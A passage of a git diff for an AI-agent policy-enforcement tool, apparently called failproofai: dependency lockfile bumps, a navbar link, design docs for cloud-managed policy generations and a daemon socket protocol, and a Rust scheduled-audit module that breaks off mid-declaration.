"@vitejs/plugin-react": "^6.0.1", + "@vitejs/plugin-react": "^6.0.5", "clsx": "^2.1.1", "eslint": "^10.5.0", "eslint-config-next": "^16.2.9", - "jsdom": "^30.0.0", - "lucide-react": "^1.18.0", + "jsdom": "^30.0.1", + "lucide-react": "^1.28.0", "next": "^16.2.11", "react": "^19.2.4", "react-dom": "^19.2.4", @@ -235,9 +236,9 @@ "@oxc-project/types": ["@oxc-project/types@0.133.0", "", {}, "sha512-KzkdCd6Uxqnf6l3HOw1xfatAlUURA0g14cvBYFyJ5SaNOQbOUvBr9PKArcPcrNIeRsBdgcUzOGrhKveVpvOIGA=="], - "@posthog/core": ["@posthog/core@1.45.1", "", { "dependencies": { "@posthog/types": "^1.398.0" } }, "sha512-tLtvzomavb2PPWdGYKsusyIzIeL2Px47v348Smibkay7sMy/83TyPk+Ptsp2NdeOgJsbuwSxWkR2+XA0aSCAaA=="], + "@posthog/core": ["@posthog/core@1.46.5", "", { "dependencies": { "@posthog/types": "^1.400.0" } }, "sha512-zJr9v4bhV9DRGJENWj/FepD9S+bvsc/bwl0Sb46Md4jV7NoPWYp+2QdH4iskv8t1uZhkmCk1XxHn38RXaak/7A=="], - "@posthog/types": ["@posthog/types@1.398.0", "", {}, "sha512-sJMkl4k+u8yS/0fjHsKqE9xTdsAh30a2WvgChiptellnVoE0e8QJKFgqOMD2sk8FaEArPdeFklAhXvmENAt3Sg=="], + "@posthog/types": ["@posthog/types@1.400.0", "", {}, "sha512-0VVOXFrkh0TEAfmptoUqFGbhEzygQyWYQZYPlw0v0QYJfXTYlnlhr/QMMF3NAGKakFwOAn9ZZnlpEFeaLhZ/Cg=="], "@rolldown/binding-android-arm64": ["@rolldown/binding-android-arm64@1.0.3", "", { "os": "android", "cpu": "arm64" }, "sha512-454rs7jHngixp/NMxd5srYD57OnzSlZ/eFTETjORQHLwJG1lRtmNOJcBerZlfu4GjKqeq8aCCIQrMdHyhI51Hw=="], @@ -309,9 +310,9 @@ "@tailwindcss/postcss": ["@tailwindcss/postcss@4.3.3", "", { "dependencies": { "@alloc/quick-lru": "^5.2.0", "@tailwindcss/node": "4.3.3", "@tailwindcss/oxide": "4.3.3", "postcss": "^8.5.16", "tailwindcss": "4.3.3" } }, "sha512-JTSZZGQi1AyKirbLN3azmjVzef92tcX7h+iSqPdaeStyFpGpDlKvvpxeOE8njhbUanbRwr3z8DyzhICWnMtQeg=="], - "@tanstack/react-virtual": ["@tanstack/react-virtual@3.14.8", "", { "dependencies": { "@tanstack/virtual-core": "3.17.6" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-O39GJQpAYEJcIu3uN1//YtmhjSEOyw75vg9CKCatBDPiD5hKtZQoJHfferyrB/LdOD3UWaoMLWtdEjarwIwdDw=="], + "@tanstack/react-virtual": ["@tanstack/react-virtual@3.14.9", "", { "dependencies": { "@tanstack/virtual-core": "3.17.7" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-qZyr0FZDP8rDC4WBhsryIZmAd9bveJvFGUJJtskWaew6/0dTRS6wZxnR6VQ5bY2KwL3LjerrHqQLk3a0GKcPXQ=="], - "@tanstack/virtual-core": ["@tanstack/virtual-core@3.17.6", "", {}, "sha512-h0/Ebo18CkOrChlQIhNtQkM5ySUnh/GumQ/D1st3hG2HWUPEF+ILUc2k29UtivCi/9G7w7G3/f7Xyd5cCFbKBw=="], + "@tanstack/virtual-core": ["@tanstack/virtual-core@3.17.7", "", {}, "sha512-bp+v10y65sp2H7WpWfIMyxTNfl8ZVfxFTLRjPIFRryi6FV/J33z4IS53WO4pTk36KlvJ4iLiQz+oaydDC1xbcA=="], "@testing-library/dom": ["@testing-library/dom@10.4.1", "", { "dependencies": { "@babel/code-frame": "^7.10.4", "@babel/runtime": "^7.12.5", "@types/aria-query": "^5.0.1", "aria-query": "5.3.0", "dom-accessibility-api": "^0.5.9", "lz-string": "^1.5.0", "picocolors": "1.1.1", "pretty-format": "^27.0.2" } }, "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg=="], @@ -349,9 +350,9 @@ "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], - "@types/node": ["@types/node@26.1.1", "", { "dependencies": { "undici-types": "~8.3.0" } }, "sha512-nxAkRSVkN1Y0JC1W8ky/fTfkGsMmcrRsbx+3XoZE+rMOX71kLYTV7fLXpqud1GpbpP5TuffXFqfX7fH2GgZREw=="], + "@types/node": ["@types/node@26.1.2", "", { "dependencies": { "undici-types": "~8.3.0" } }, "sha512-Vu4a5UFA9rIIFJ7rB/Vaafh9lrCQszopTCx6KjFboXTGQbPNasehVR5TEiithSDGyd1DEiUByggTZsg8jukeIg=="], - "@types/react": ["@types/react@19.2.17", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MXfmqaVPEVgkBT/aY0aGCkRWWtByiYQXo3xdQ8r5RzuFrPiRn8Gar2tQdXSUQ2GKV3bkXckek89V8wQBY2Q/Aw=="], + "@types/react": ["@types/react@19.2.18", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-AnzbBERsrLKtk2XSfTbYRLjQPdy116Sty4q+T+Bp3IC4l6jNBvreVPAHmpq9qhXQM7CXZPjLVmGMw9sy+hxQ3w=="], "@types/react-dom": ["@types/react-dom@19.2.3", "", { "peerDependencies": { "@types/react": "^19.2.0" } }, "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ=="], @@ -423,7 +424,7 @@ "@unrs/resolver-binding-win32-x64-msvc": ["@unrs/resolver-binding-win32-x64-msvc@1.12.2", "", { "os": "win32", "cpu": "x64" }, "sha512-nAB74NfSNKknqQ1RrYj6uz8FcXEomu/MATJZxh/x+BArzN2U3JbOYC0APYzUIGhVY3m5hRxA8VPNdPBoG8txlA=="], - "@vitejs/plugin-react": ["@vitejs/plugin-react@6.0.3", "", { "dependencies": { "@rolldown/pluginutils": "^1.0.1" }, "peerDependencies": { "@rolldown/plugin-babel": "^0.1.7 || ^0.2.0", "babel-plugin-react-compiler": "^1.0.0", "vite": "^8.0.0" }, "optionalPeers": ["@rolldown/plugin-babel", "babel-plugin-react-compiler"] }, "sha512-vmFvco5/QuC2f9Oj+wTk0+9XeDFkHxSamwZKYc7MxYwKICfvUvlMhqKI0VuICPltGqh1neqBKDvO4kes1ya8vg=="], + "@vitejs/plugin-react": ["@vitejs/plugin-react@6.0.5", "", { "dependencies": { "@rolldown/pluginutils": "^1.0.1" }, "peerDependencies": { "@rolldown/plugin-babel": "^0.1.7 || ^0.2.0", "babel-plugin-react-compiler": "^1.0.0", "vite": "^8.0.0" }, "optionalPeers": ["@rolldown/plugin-babel", "babel-plugin-react-compiler"] }, "sha512-BOVzne/NL162sMdResB25mUv+vWMF5NoAjNf09TeGlE7ZpszZWSD3winycicLJw72yeVsoCn/2kOhEuCvEShMA=="], "@vitest/expect": ["@vitest/expect@4.1.10", "", { "dependencies": { "@standard-schema/spec": "^1.1.0", "@types/chai": "^5.2.2", "@vitest/spy": "4.1.10", "@vitest/utils": "4.1.10", "chai": "^6.2.2", "tinyrainbow": "^3.1.0" } }, "sha512-YsCn+qAk1GWjQOWFEsEcL2gNQ0zmVmQu3T03qP6UyjhtmdtwtbuI+DASn/7iQB3HGTXkdBwGddzxPlmiql5vlA=="], @@ -823,7 +824,7 @@ "js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="], - "jsdom": ["jsdom@30.0.0", "", { "dependencies": { "@asamuzakjp/css-color": "^6.0.5", "@asamuzakjp/dom-selector": "^8.2.5", "@bramus/specificity": "^2.4.2", "@csstools/css-syntax-patches-for-csstree": "^1.1.6", "@exodus/bytes": "^1.15.1", "css-tree": "^3.2.1", "data-urls": "^7.0.0", "decimal.js": "^10.6.0", "html-encoding-sniffer": "^6.0.0", "is-potential-custom-element-name": "^1.0.1", "lru-cache": "^11.5.2", "parse5": "^8.0.1", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", "tough-cookie": "^6.0.2", "undici": "^8.7.0", "w3c-xmlserializer": "^5.0.0", "webidl-conversions": "^8.0.1", "whatwg-mimetype": "^5.0.0", "whatwg-url": "^17.1.0", "xml-name-validator": "^5.0.0" }, "peerDependencies": { "canvas": "^3.2.3" }, "optionalPeers": ["canvas"] }, "sha512-JQHfRGmmKmaZoUAvIgff5jjG/0SzTQlGz8c7t72KzBzo8ZULEjAjnYE0sNwBOUA4QtWwYE2xoYitg8NFsmiYxA=="], + "jsdom": ["jsdom@30.0.1", "", { "dependencies": { "@asamuzakjp/css-color": "^6.0.5", "@asamuzakjp/dom-selector": "^8.3.0", "@bramus/specificity": "^2.4.2", "@csstools/css-syntax-patches-for-csstree": "^1.1.7", "@exodus/bytes": "^1.15.1", "css-tree": "^3.2.1", "data-urls": "^7.0.0", "decimal.js": "^10.6.0", "html-encoding-sniffer": "^6.0.0", "is-potential-custom-element-name": "^1.0.1", "lru-cache": "^11.5.2", "parse5": "^8.0.1", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", "tough-cookie": "^6.0.2", "undici": "^8.9.0", "w3c-xmlserializer": "^5.0.0", "webidl-conversions": "^8.0.1", "whatwg-mimetype": "^5.0.0", "whatwg-url": "^17.1.0", "xml-name-validator": "^5.0.0" }, "peerDependencies": { "canvas": "^3.2.3" }, "optionalPeers": ["canvas"] }, "sha512-52v7mUVUfNQVYYqE1lcdaymWL0njO7lTLUog6ZvW2U5KsbiLk/GnZlVJ+qx0xfNJZ6Gn+KSpPNE52vurbxZwrA=="], "jsesc": ["jsesc@3.1.0", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA=="], @@ -879,7 +880,7 @@ "lru-cache": ["lru-cache@11.5.2", "", {}, "sha512-4pfM1Ff0x50o0tQwb5ucw/RzNyD0/YJME6IVcStalZuMWxdt3sR3huStTtxz4PUmvZfRguvDejasvQ2kifR11g=="], - "lucide-react": ["lucide-react@1.27.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-rJicGl/3Fly/E0rOH1YmPZ6e49JCnKknh1ox1vpHnkfjujAkKA6sqUZvH3MTAaXXjgexyUwgNwTJzTtYuAFYJw=="], + "lucide-react": ["lucide-react@1.28.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-fARAFJULsGuDDydjp6+6blekG/sBIM29TerzLjc9bQUKAcEfrSc4ZQKb25KRz4OMKd87cZTb5dgq0w/T6KufVg=="], "lz-string": ["lz-string@1.5.0", "", { "bin": { "lz-string": "bin/bin.js" } }, "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ=="], @@ -1035,7 +1036,7 @@ "postcss": ["postcss@8.5.23", "", { "dependencies": { "nanoid": "^3.3.16", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-g50586zr4bZmwFiTlflMu8E0bDTb5I5gertgwAKmsdUlTQIhZtunzUlD1WSzwcVWPoAVpsrA6vlfCD7oXvRwgg=="], - "posthog-node": ["posthog-node@5.46.1", "", { "dependencies": { "@posthog/core": "^1.45.1" }, "peerDependencies": { "rxjs": "^7.0.0" }, "optionalPeers": ["rxjs"] }, "sha512-WjCqExq44pBdyg9MSsH6UAE0tNZ88p4aIuVFicgqhjf2Fbws6IhS4ioYUa4aBrbUPS9EDRXtBTtF5DpP1ml8Pw=="], + "posthog-node": ["posthog-node@5.47.7", "", { "dependencies": { "@posthog/core": "^1.46.4" }, "peerDependencies": { "rxjs": "^7.0.0" }, "optionalPeers": ["rxjs"] }, "sha512-ZfvGL2DQB9mQmM+9hFRtX8h4WeXRANA6ASK/6eLJuAg2BPxvLpihRyB8pmgFm6Ye+t2drZJkDklEARPj/3OWAA=="], "prelude-ls": ["prelude-ls@1.2.1", "", {}, "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g=="], @@ -1049,9 +1050,9 @@ "queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="], - "react": ["react@19.2.7", "", {}, "sha512-HNe9WslTbXmFK8o8cmwgAeJFSBvt1bPdHCVKtaaV+WlAN36mpT4hcRpwbf3fY56ar2oIXzsBpOAiIRHAdY0OlQ=="], + "react": ["react@19.2.8", "", {}, "sha512-PWaYA1L/q9u2u7xYQi+Y3L3Yfnie7XyLeaJICV1MGD6LprsBxcAqGjYyr0eY3p+QdsA+x/Irkt4Qif8D63+Sbw=="], - "react-dom": ["react-dom@19.2.7", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.7" } }, "sha512-t0BRVXvbiE/o20Hfw669rLbMCDWtYZLvmJigy2f0MxsXF+71pxhR3xOkspmsO8h3ZlNzyibAmtCa3l4lYKk6gQ=="], + "react-dom": ["react-dom@19.2.8", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.8" } }, "sha512-rVprimfGBG3DR+Tq0IQG2DT5PxKth1WIGDmj5yPmlzr4YBe7uyE+Du4oVqTDXZSHGGGXRtTJEGSSePyQCMBglQ=="], "react-is": ["react-is@17.0.2", "", {}, "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="], @@ -1123,6 +1124,8 @@ "siginfo": ["siginfo@2.0.0", "", {}, "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g=="], + "smol-toml": ["smol-toml@1.7.1", "", {}, "sha512-PPlsspAZ4jbMBu5DMFhfUGDQLu/vrL4SyBROVS37x8ynnVmFIs1VPBz1Co8Xks3TvpIaZXmU85y4DrQ+UyVFoQ=="], + "source-map": ["source-map@0.7.6", "", {}, "sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ=="], "source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="], diff --git a/components/navbar.tsx b/components/navbar.tsx index eeeea097..32a7fa33 100644 --- a/components/navbar.tsx +++ b/components/navbar.tsx @@ -19,6 +19,7 @@ const NAV_LINKS = [ { href: "/projects", label: "projects" }, { href: "/policies", label: "policies" }, { href: "/audit", label: "audit" }, + { href: "/settings", label: "settings" }, ]; const REMOTE_LOGO_URL = @@ -59,6 +60,7 @@ export const Navbar: React.FC<{ const sectionLabel = (() => { if (pathname.startsWith("/policies")) return "policies"; if (pathname.startsWith("/audit")) return "audit"; + if (pathname.startsWith("/settings")) return "settings"; if (pathname.startsWith("/projects") || pathname.startsWith("/project/")) return "projects"; return ""; })(); diff --git a/crates/.gitkeep b/crates/.gitkeep new file mode 100644 index 00000000..e69de29b diff --git a/crates/CLOUD_POLICIES.md b/crates/CLOUD_POLICIES.md new file mode 100644 index 00000000..486d0621 --- /dev/null +++ b/crates/CLOUD_POLICIES.md @@ -0,0 +1,136 @@ +# Cloud-managed policy generations + +This is the contract between the Failproof Cloud HTTP transport and the +`failproofaid` policy worker. Polling and integrity maintenance run outside the +hook path; hooks evaluate only the last verified local generation. + +## Layout + +```text +~/.failproofai/policies/cloud-managed/ +├── desired-state.json +├── active.json +├── artifacts/ +│ └── .mjs +└── generations/ + └── / + ├── manifest.json + └── .mjs +``` + +- `desired-state.json` is the last complete desired-state snapshot received + from cloud. A later slice must authenticate it with a publisher signature; + SHA-256 alone proves byte identity, not publisher identity. +- `artifacts/` is a content-addressed cache. +- `generations/` contains complete materialized policy sets. New generations + are built without modifying the active one. +- `active.json` is an atomically replaced pointer to one complete generation. + It is derived state and is reconstructed when it is deleted, malformed, or + disagrees with `desired-state.json`. + +## Desired-state schema + +```json +{ + "schemaVersion": 1, + "generation": 184, + "policies": [ + { + "id": "block-secret-exfiltration", + "revision": 7, + "sha256": "<64 lowercase hex characters>", + "artifactUrl": "https://..." + } + ] +} +``` + +The artifact URL is opaque to the store. A cloud client supplies downloaded +bytes through `ArtifactFetcher`; the reconciler trusts none of those bytes +until their SHA-256 matches the desired state. + +## Cloud transport + +Enrol with the CLI: + +```bash +failproofai config --connect https://be.failproof.ai \ + --token \ + --machine-id prod-runner-01 # defaults to this host's name +``` + +That verifies the credentials against the server before storing anything, then +writes `~/.failproofai/cloud.json` (mode 0600). `--disconnect` removes it, +`--status` reports the connection with the token masked. + +**The credential must not go in the service unit.** `daemon-service.ts` installs +`/etc/systemd/system/failproofaid@.service` at mode 0644 — root-owned and +world-readable — and the launchd plist likewise. An +`Environment="FAILPROOFAI_CLOUD_TOKEN=…"` line there hands an organization-scoped +key to every local user, and `systemctl show` prints it back with no privilege +at all. Keeping it in a file also means enrolment, rotation and disconnect need +no root, and an already-installed daemon can be connected without reinstalling. + +The daemon re-resolves enrolment on **every poll**, not at startup, so all three +take effect within one interval with nothing to restart — which matters because +restarting a system unit needs root, the very thing this avoids. + +Environment variables still take precedence over the file, for CI, containers +and tests: + +```text +FAILPROOFAI_CLOUD_URL=https://be.failproof.ai +FAILPROOFAI_CLOUD_TOKEN= +FAILPROOFAI_MACHINE_ID= +FAILPROOFAI_CLOUD_CREDENTIALS= # overrides ~/.failproofai/cloud.json +``` + +`FAILPROOFAI_CLOUD_POLICY_POLL_MS` controls the interval (30 seconds by +default, clamped to at least 100 ms). The client sends Bearer authentication +to both desired-state and artifact endpoints. Relative artifact locators are +resolved against the configured base URL; cross-origin locators are rejected +before the token is sent. + +An HTTP failure, invalid desired-state response, bad digest, or incomplete +generation leaves the previous generation active. + +## Activation transaction + +1. Validate schema, policy IDs, unique IDs, digests, and monotonic generation. +2. Reuse a verified cache/generation copy or fetch missing bytes. +3. Verify every artifact digest. +4. Materialize the complete generation and `fsync` its files/directories. +5. Persist `desired-state.json`. +6. Atomically replace `active.json`. + +Any failure before step 6 leaves the previous generation active. The worker +loads only paths named by `active.json` and independently verifies every digest +immediately before importing JavaScript. + +## Integrity maintenance + +`failproofaid` runs a maintenance thread outside the hook path. It hashes the +active generation periodically (30 seconds by default) and repairs either a +modified generation copy or a modified content-addressed artifact from the +other verified copy. If both are gone, it retains the active manifest and +reports that a cloud re-fetch is required. + +`FAILPROOFAI_CLOUD_POLICY_DIR` overrides the root for tests and development. +When cloud polling is disabled, `FAILPROOFAI_CLOUD_POLICY_RECONCILE_MS` +overrides the standalone integrity interval, clamped to at least 100 ms. With +cloud polling enabled, integrity repair runs on each poll. + +## Current security boundary + +PR #632 runs the daemon as the same OS user as the governed agent. This layer +provides deterministic deployment, drift detection, and self-healing, but it +does not make policies tamper-proof against that user. The user can stop the +service or delete both verified copies. Publisher signatures, deployment +acknowledgement, and a stronger service identity are separate follow-up layers. +The current machine credential is an org-scoped Bearer key transported over +HTTPS. + +Downloaded JavaScript executes in the existing TypeScript policy worker with +the user's authority. Cloud authorization must therefore treat assigning an +arbitrary JavaScript policy as remote code execution until a sandboxed policy +runtime exists. diff --git a/crates/PROTOCOL.md b/crates/PROTOCOL.md new file mode 100644 index 00000000..26613275 --- /dev/null +++ b/crates/PROTOCOL.md @@ -0,0 +1,122 @@ +# failproofaid wire protocol + +The contract between the `failproofai` CLI (thin client) and the `failproofaid` +daemon over a Unix domain socket. This is the same contract every hook +invocation already has today — see `src/hooks/handler.ts`'s +`handleHookEvent`: `(argv --hook --cli , stdin JSON payload) -> +(stdout, stderr, exitCode)`. The daemon adds nothing to that contract; it only +relays it over a socket instead of a fresh process's argv/stdin/stdout. + +Implemented in `crates/fpai-ipc` (framing + envelope + peer verification) and +`crates/failproofaid` (the socket server itself). As of Stage 2, the daemon +answers `ping` and rejects `hook` with a stub "not implemented" error — Stage 3 +wires `hook` up to a real warm Node/Bun worker. + +## Transport + +One Unix domain socket, one connection per request. The daemon reads exactly +one frame, dispatches it, writes exactly one frame back, and lets the +connection close — there is no request-ID multiplexing because there is never +more than one logical request in flight per connection. + +Default path: `~/.failproofai/run/failproofaid.sock`. Overridable via the +`FAILPROOFAI_DAEMON_SOCKET` env var (used by local dev and tests — never point +this at a directory failproofaid doesn't own itself; see +`crates/failproofaid/src/paths.rs`'s `ensure_run_dir`, which refuses to modify +permissions on a pre-existing directory it didn't create). + +Permissions: the run directory is `0700` and the socket file `0600` — this is +the actual access-control boundary (user-scope only, no elevation, same OS +user only). `crates/fpai-ipc/src/peer.rs`'s `SO_PEERCRED` (Linux) / +`getpeereid` (macOS) check is defense-in-depth on top of that, not a stronger +boundary — same-user access can always reach this daemon regardless. + +## Framing + +Every message, in both directions, is: + +``` ++----------------------------+------------------------------+ +| length (4 bytes, big-endian u32) | UTF-8 JSON body (length bytes) | ++----------------------------+------------------------------+ +``` + +A declared length over `MAX_FRAME_LEN` (16 MiB) is rejected without +allocating a body buffer for it — a hook payload is at most 1 MiB (see +`handler.ts`'s own stdin cap), so 16 MiB is headroom, not an expected size. + +## Envelope + +Tagged JSON, `"type"` as the discriminant, camelCase field names. + +### Client → daemon (`ClientMessage`) + +```jsonc +// Liveness/handshake check. +{ "type": "ping", "protocolVersion": 1 } + +// One hook evaluation request — one per `failproofai --hook --cli ` invocation. +{ + "type": "hook", + "protocolVersion": 1, + "hookEvent": "PreToolUse", + "cli": "claude", + "stdin": "", + "cwd": "/path/to/session/cwd" // optional; see the note below +} +``` + +`cwd` must be the *originating* CLI process's cwd, captured by the thin +client before dispatch — never the daemon's own cwd. The daemon is a single +long-lived process; its own `cwd` does not vary per request and must never be +used to resolve project config or custom policies (this is the "process.cwd() +hazard" the TS-side plan calls out explicitly). + +### Daemon → client (`ServerMessage`) + +```jsonc +{ "type": "pong", "protocolVersion": 1 } + +{ + "type": "hookResult", + "protocolVersion": 1, + "exitCode": 0, + "stdout": "...", + "stderr": "..." +} + +// The daemon accepted the connection and parsed the request, but could not +// produce a verdict (worker down/hung, or — in Stage 2 — hook evaluation +// simply isn't wired up yet). Distinct from hookResult so the client can +// tell "ran and decided" apart from "daemon couldn't evaluate at all" — the +// latter is what drives the client's fail-closed path. +{ "type": "error", "protocolVersion": 1, "message": "..." } +``` + +## Protocol versioning + +`protocolVersion` is carried on every message in both directions. A mismatch +gets an explicit `error` response from the daemon — the client treats *any* +failure mode (missing socket, refused connection, timeout, malformed +response, or an explicit version mismatch) identically: fall through to +whatever the client's fail-closed/in-process policy dictates. There is no +negotiation, only agree-or-fall-back. + +## Peer verification + +Every connection is checked with `SO_PEERCRED`/`getpeereid` before a single +byte of the request is read. A peer running as a different OS user gets the +connection dropped with **no response at all** — not even an `error` frame — +so a connection from the wrong user can't even confirm a daemon is listening +there. + +## Malformed input handling + +- A frame whose declared length exceeds `MAX_FRAME_LEN`: connection closed, + no response, no allocation attempted for the declared size. +- A syntactically invalid or truncated frame: connection closed, no response. +- A well-formed frame with an unrecognized `"type"`: fails to deserialize, + same as above. + +None of these crash the daemon or the connection-handling thread — a bad +frame from one connection has no effect on any other connection. diff --git a/crates/failproofaid/Cargo.toml b/crates/failproofaid/Cargo.toml new file mode 100644 index 00000000..c930a7bc --- /dev/null +++ b/crates/failproofaid/Cargo.toml @@ -0,0 +1,43 @@ +[package] +name = "failproofaid" +version.workspace = true +edition.workspace = true +license-file.workspace = true +repository.workspace = true +description = "Thin Rust supervisor: owns the failproofai IPC socket, service lifecycle, and warm worker process supervision. Carries no policy logic." +publish = false + +[[bin]] +name = "failproofaid" +path = "src/main.rs" + +[dependencies] +fpai-ipc = { path = "../fpai-ipc" } +fpai-collect = { path = "../fpai-collect" } +# Without a subscriber every `tracing::` call in fpai-collect is silently +# discarded — including the uploader's "the server stored NONE of its events". +tracing = "0.1" +tracing-subscriber = { version = "0.3", default-features = false, features = ["std", "fmt", "env-filter"] } +serde = { version = "1", features = ["derive"] } +serde_json = "1" +# Layout 2 keeps the cloud credential in credentials.toml's [cloud] table, so +# the daemon has to read TOML to find its own enrolment. Already in the tree via +# fpai-collect, which parses the same file's [ingest] table. +toml = "1.1.4" +libc = "0.2" +sha2 = "0.10" +reqwest = { version = "0.12", default-features = false, features = ["blocking", "json", "rustls-tls"] } +# Epoch-millis to RFC3339, for the `timestamp` on each telemetry event. Already +# in the tree via fpai-collect at the same version and features, so this adds +# nothing to the lockfile or to any of the four cross-compile legs — and the +# alternative is hand-rolled civil date maths, which fails silently (a leap-year +# slip puts every event on the wrong day with nothing to notice it). +time = { version = "0.3", default-features = false, features = ["std", "formatting", "macros"] } + +[dev-dependencies] +# The telemetry lane's transport is asserted against a real HTTP server rather +# than a trait double: the failure this guards against is a batch PostHog +# rejects, which only a server that parses the body can see. Both are already in +# the lockfile via fpai-collect's dev-dependencies. +wiremock = "0.6" +tokio = { version = "1", features = ["rt-multi-thread", "macros"] } diff --git a/crates/failproofaid/src/audit_lane.rs b/crates/failproofaid/src/audit_lane.rs new file mode 100644 index 00000000..ade23529 --- /dev/null +++ b/crates/failproofaid/src/audit_lane.rs @@ -0,0 +1,1071 @@ +//! The scheduled local audit: spawn `failproofai audit --scheduled` as a +//! short-lived subprocess whenever the wall clock says one is due. +//! +//! # Why this can never run on the warm worker +//! +//! A full audit measured ~104 seconds over 3,277 transcripts. The warm worker +//! (`src/hooks/worker-server.ts`) serialises EVERY request through one promise +//! chain, [`crate::worker`] caps a call at 30 seconds, and `daemon-client.ts` +//! turns that timeout into a DENY — so an audit on that chain would be a +//! machine-wide fail-closed denial across all 12 agent CLIs for as long as it +//! ran. It therefore runs as its own process, at `nice(19)`, in its own process +//! group, with a hard timeout. `__tests__/hooks/worker-server.test.ts` carries a +//! tripwire so a later "optimisation" onto that chain fails loudly instead of +//! quietly denying a machine. +//! +//! # Wall clock decides "due"; monotonic time does everything else +//! +//! Every other lane in this daemon sleeps on `Instant`, and this one +//! deliberately does not use it to decide whether a scan is due: `Instant` does +//! not advance across suspend and restarts at zero on every process start, so a +//! monotonic seven-day timer never fires on a laptop that is shut each night or +//! on a daemon that restarts on every upgrade. The due time is a wall-clock +//! millisecond persisted to disk. `Instant` still measures the child's timeout, +//! the tick sleep and the minimum-gap floor, which is what a monotonic clock is +//! actually for. +//! +//! # The schedule is persisted BEFORE the child is spawned +//! +//! This inverts the collector's flush-then-advance rule +//! (`crates/fpai-collect/src/cursor.rs`) on purpose. There the protected +//! resource is data, and a crash between the two costs a re-ship the server +//! dedups. Here the protected resource is the machine's CPU and the unit is +//! `Restart=on-failure`: run-then-write means a scan that takes the daemon down +//! relaunches itself on every restart, forever. Writing first costs at most one +//! skipped audit. + +use std::io; +use std::panic::AssertUnwindSafe; +use std::path::Path; +use std::process::{Child, Command, Stdio}; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::thread::JoinHandle; +use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH}; + +use serde::{Deserialize, Serialize}; + +/// Mirrors `DEFAULT_AUDIT_INTERVAL_DAYS` and the clamp in +/// `src/hooks/fp-config.ts`. Two readers of one file have to agree on what its +/// values mean, and the way that disagreement shows up is a machine scanning on +/// a cadence nobody chose. +const DEFAULT_INTERVAL_DAYS: u64 = 7; +const MIN_INTERVAL_DAYS: u64 = 1; +const MAX_INTERVAL_DAYS: u64 = 90; + +/// The floor between two attempts, independent of the persisted schedule. +/// +/// Deliberately redundant with `next_due_at_ms`, because the redundancy is the +/// point: the persisted half cannot protect a home the daemon is unable to +/// write to (a full disk, a read-only mount), and without a second in-memory +/// floor such a machine would start a fresh 104-second scan on every poll tick +/// forever. It is also what a child that exited 75 ("another audit holds the +/// lock") is retried against. +const MIN_ATTEMPT_GAP: Duration = Duration::from_secs(15 * 60); + +/// How long a scan may run before it is killed. +/// +/// ~17x the measured 104-second full scan, so a cold cache, a much larger +/// history or a slow disk all finish comfortably inside it. The ceiling exists +/// for the wedged case only — a child blocked on a network filesystem, say — +/// because a `nice(19)` process nobody is waiting on has no other way of ending, +/// and an inherited one would still hold the audit lock long after it stopped +/// making progress. +const CHILD_TIMEOUT: Duration = Duration::from_secs(30 * 60); + +/// `EX_TEMPFAIL`, and what `runScheduledAudit` returns when the cross-process +/// audit lock is already held (`EXIT_AUDIT_ALREADY_RUNNING` in +/// `src/audit/cli.ts`). NOT a failure: the machine is healthy and simply ran two +/// audits close together, so it is retried against the gap floor rather than +/// reported or counted as a run. +const 